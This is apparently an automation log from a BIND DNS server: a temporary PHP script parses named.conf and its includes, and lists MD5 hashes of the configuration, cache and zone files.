MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 32bb84ecc87899e527a2cce59643ab1e
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-11-18 16:33:42: Establishing a connection
2025-11-18 16:33:42: 

PUT: /tmp/pkp119735

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-11-18 16:33:42: 

runuser -l bind -s /bin/bash -c '/tmp/pkp119735; rm /tmp/pkp119735'

2025-11-18 16:33:42: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 32bb84ecc87899e527a2cce59643ab1e
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-11-18 16:33:44: Establishing a connection
2025-11-18 16:33:44: 

